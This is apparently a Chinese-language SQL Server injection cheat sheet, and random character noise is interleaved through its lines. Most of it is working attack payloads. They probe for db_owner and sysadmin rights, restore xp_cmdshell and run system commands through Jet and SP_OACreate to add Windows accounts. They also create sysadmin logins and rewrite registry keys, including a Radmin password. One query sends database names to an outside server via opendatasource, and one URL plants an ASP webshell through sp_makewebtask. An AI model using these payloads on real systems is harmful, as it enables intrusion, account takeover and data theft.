//看看是什么权限的 S5 `9 G& R" r* O7 p/ v
and 1=(Select IS_MEMBER('db_owner'))) ~9 T( R+ U: i! I& w5 [8 X- @
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--: i! x g. h! [7 j
) y" D& h- H; C//检测是否有读取某数据库的权限
3 Z. Z* p) h1 L% s- ^and 1= (Select HAS_DBACCESS('master'))4 |8 T0 Q0 a/ ^# i
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
* u9 E2 Q: h7 B7 P1 f0 [( I, T, G& y/ w' j) t
3 U# }- e9 Z# f# w9 m% t% M9 Y* i5 }
数字类型: G2 t c8 I; A- |. N. m
and char(124)%2Buser%2Bchar(124)=0) V% a% o3 h- Y; M* h5 M
! q$ ?" U/ \3 T* h$ B4 e) P- J
字符类型
! ?, }! ~7 p* @% C' and char(124)%2Buser%2Bchar(124)=0 and ''='
/ D7 q1 s- i c3 n2 ]
! k" x4 W& d7 B( r搜索类型! u; `( X8 ^ O, _9 {
' and char(124)%2Buser%2Bchar(124)=0 and '%'='7 m2 Z- s$ n, ]
" i# }: Q$ S4 q2 b$ d) L& z) {爆用户名% D- d) G% W7 l. [; z' z
and user>0: ~" K- G! R0 f( Z
' and user>0 and ''='' i( ]0 S% d; i6 l; g
0 B7 N" h2 f: c+ z" d
检测是否为SA权限
9 C1 w- T! S4 N' s. v9 `1 l3 `0 M. x& p. Fand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ o8 D& y2 e; G5 @3 K$ LAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --) }3 s/ B% n" A' f- m9 r y$ K
) W5 d* P4 ?+ i F
检测是不是MSSQL数据库
' h, m2 D9 r- t7 W" w9 tand exists (select * from sysobjects);-- v$ j9 ^4 M2 x/ L( r7 A
) m" C+ U$ z/ Y) }7 Z! Q2 A检测是否支持多行
; |8 `) z' N3 f! a;declare @d int;--/ [6 @, g; e4 B' e! M" |
2 f+ E0 m. R2 P; {- q& n恢复 xp_cmdshell
, |- h& ?; P# N1 S! |;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--- _ d" r7 a2 M
0 `' n. D2 Y5 L- [" O: S
9 e' r8 n) Y7 R& Z6 L) ~select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')' R$ p9 \6 T) T) ]
2 l5 T' F& }3 m7 _//-----------------------
+ Q, G, w: W% l// 执行命令
0 ^0 l/ ^+ x& G; b( f3 F+ Q9 o8 D: n//-----------------------
- p# r8 j$ D! d) `: s0 Y8 y首先开启沙盘模式:
) u1 R- f9 x3 T, U, ~% Nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
+ A+ E) p& p1 C1 M6 O2 K d. ]8 H9 R# [0 @6 N
然后利用jet.oledb执行系统命令
. I2 |/ e1 p8 t5 pselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'), \: C1 K# @5 E! Q6 r5 P
* E* `4 e( q& P. }. Y执行命令7 m- b# N3 L7 R; _. [' @
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--3 h X4 l, W4 U7 M3 v" m+ g
: V6 T C2 W% @9 V) ^EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
5 i% `* Q0 ?5 z* t0 c" F% x" `
判断xp_cmdshell扩展存储过程是否存在:
$ t1 }+ S" W0 _$ m1 c+ M3 J# yhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')7 F! t& z' e0 f% O
2 i4 y( K y! n, i. Z写注册表9 o$ z( V$ `( I5 M" ? H
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, e8 e" i! Q$ U" S0 ^: I5 q
c! V/ {3 k9 f! X4 D; |. [% d' D
REG_SZ
: c. d. v5 [2 P$ z- j
/ k- P' ]. v, P! }* ~1 h读注册表8 n8 v8 @- F$ g8 l9 v. ]* M
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'& L. B+ N+ W0 T) q% |
9 `7 @2 W1 H+ D l" o2 c0 G* ^; M C
读取目录内容
7 Y+ L/ ~ V9 lexec master..xp_dirtree 'c:\winnt\system32\',1,1
; y7 p- G2 C P
: t) P) k3 H' w. D5 Y1 }! Q2 K* Y( }9 a, t g9 x3 N: Z2 {; p
数据库备份 r- s( s# i0 K" V( D
backup database pubs to disk = 'c:\123.bak'6 O$ [' X9 w$ ?4 ~4 a! _
1 |6 m' ]* w% S- R8 ]1 |& `* c//爆出长度
$ P, }- b' n. EAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--1 S, c3 W; \' F3 l; t: w
: r5 h8 ?- ~* v; S" L0 }. f4 `0 ^8 T$ ^
- C, }: z2 \% b5 L% e1 c! y
更改sa口令方法:用sql综合利用工具连接后,执行命令:
+ W' ^! H) E+ d5 Z2 [- vexec sp_password NULL,'新密码','sa'% a+ u' h# @5 r' s0 P8 d+ a
$ y& q4 F; d+ v& Q0 Q( B
添加和删除一个SA权限的用户test:: N. S2 r3 E7 A- B0 v
exec master.dbo.sp_addlogin test,9530772
; M- Y; L# f' O6 Bexec master.dbo.sp_addsrvrolemember test,sysadmin
- N" N; O3 G8 V5 {, S
9 }% O' }% j0 b4 v删除扩展存储过过程xp_cmdshell的语句:& `1 m4 o, f0 p0 y4 g& B9 T
exec sp_dropextendedproc 'xp_cmdshell'7 D- B& M! q1 |# o
' U# X2 \% v+ w- b! U$ a$ E# K添加扩展存储过过程
4 v8 C9 f$ d9 L$ @, E& j( ^6 _EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
! w8 p' f0 m$ n* [( {4 hGRANT exec On xp_proxiedadata TO public2 X) \% f3 e$ j: z
5 Q$ W1 X% G( G6 {& o
o* ?3 q* X6 o: ^/ O
停掉或激活某个服务。
7 I' l. [3 e" S; y
% s7 s7 v( g B Y0 qexec master..xp_servicecontrol 'stop','schedule'5 }) h0 @1 g* F/ Z8 E4 l+ p
exec master..xp_servicecontrol 'start','schedule'
) h+ c1 G. S3 |0 ]7 g) [
9 u5 ?: j( T; k6 l! Rdbo.xp_subdirs% }; F! |. |8 N- c, Y1 I
7 D/ F: P& o' f只列某个目录下的子目录。
8 f0 _' M+ O _7 {8 P8 ^1 Cxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
; y- r* U3 N" V* Z" z8 a7 L6 h# C. q
dbo.xp_makecab
3 {% o5 y/ b6 I6 X: d/ f
6 `' F4 t* x8 B. F; O将目标多个档案压缩到某个目标档案之内。
5 k5 c( G2 L9 W4 F7 ?/ W" j) R! A所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。( P5 [1 z0 c, R
0 y( M6 w1 w, Y& X6 Hdbo.xp_makecab4 l1 i/ y1 W' Y/ F$ q
'c:\test.cab','mszip',1,
8 M9 T4 O0 G$ _; T'C:\Inetpub\wwwroot\SQLInject\login.asp',( S. m# V- J: g) ^ y/ w- N
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
5 d7 I! @9 V8 e8 X8 u. \" X
5 u( F2 v; l6 g4 M. i* s) _xp_terminate_process1 @, E/ d% Z1 o- j( M+ ~ H( k
. @* V- B2 n0 }0 [# o) s; q/ g停掉某个执行中的程序,但赋予的参数是 Process ID。9 l! A* ~/ s ^ v$ q3 b3 W, T6 q
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
' K; ~1 r! J: C( e( c( ^' [
" U% T7 w! v% f" |7 `1 f7 h# |xp_terminate_process 2484( ^( Q8 a" e& M: B# B
7 f8 q- R3 }' E/ m! S9 b
xp_unpackcab* m+ S; d8 x$ Z, d* u
* b5 o! h/ V `2 K
解开压缩档。, _8 R1 w0 E, [' s' d+ ~+ @+ t! N
1 s. k% x9 y. i# Q0 Z
xp_unpackcab 'c:\test.cab','c:\temp',1
( H: X. x2 X. J9 t2 |5 U* b' l! U: L' t% d5 T5 U
3 J/ n a1 K3 y5 O3 B3 ]1 I
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
( r8 n" k5 S5 O4 l. H# a. q7 @+ U. r' Z% v% ~1 R
create database lcx;
9 ~0 z* N1 G2 F7 A" \0 tCreate TABLE ku(name nvarchar(256) null);
1 Q: w7 u8 R& Y4 L8 E' mCreate TABLE biao(id int NULL,name nvarchar(256) null);
9 H& j; g# I6 R; E- p" E! ]7 o r5 l
I* P0 h* g. f6 _; a# |8 E$ n* A//得到数据库名, g9 [ D: @1 j1 F0 r
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
/ k: r4 S+ N6 z- ]
2 z" \* [$ q# `. u# n; D4 A
4 O3 x+ K5 E+ |1 s9 X//在Master中创建表,看看权限怎样
& w* M1 E. `* w$ G2 K2 L9 P% nCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--# M: k+ c4 I6 K5 k/ Q2 a% S
. x8 V" j& a7 r. o$ u+ S7 a用 sp_makewebtask直接在web目录里写入一句话马:8 l+ q2 R2 G7 @ D' ^
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--( {8 n# p; v- X: I+ h3 x
; `; e2 F% v: J; ~5 q
//更新表内容: ~2 G1 E( P8 w* l0 ~5 @( S& B" v
Update films SET kind = 'Dramatic' Where id = 123
7 G% m6 J* B) P/ E% i; N# D1 z( r, ?
//删除内容. T# x# z K% B
delete from table_name where Stockid = 3 |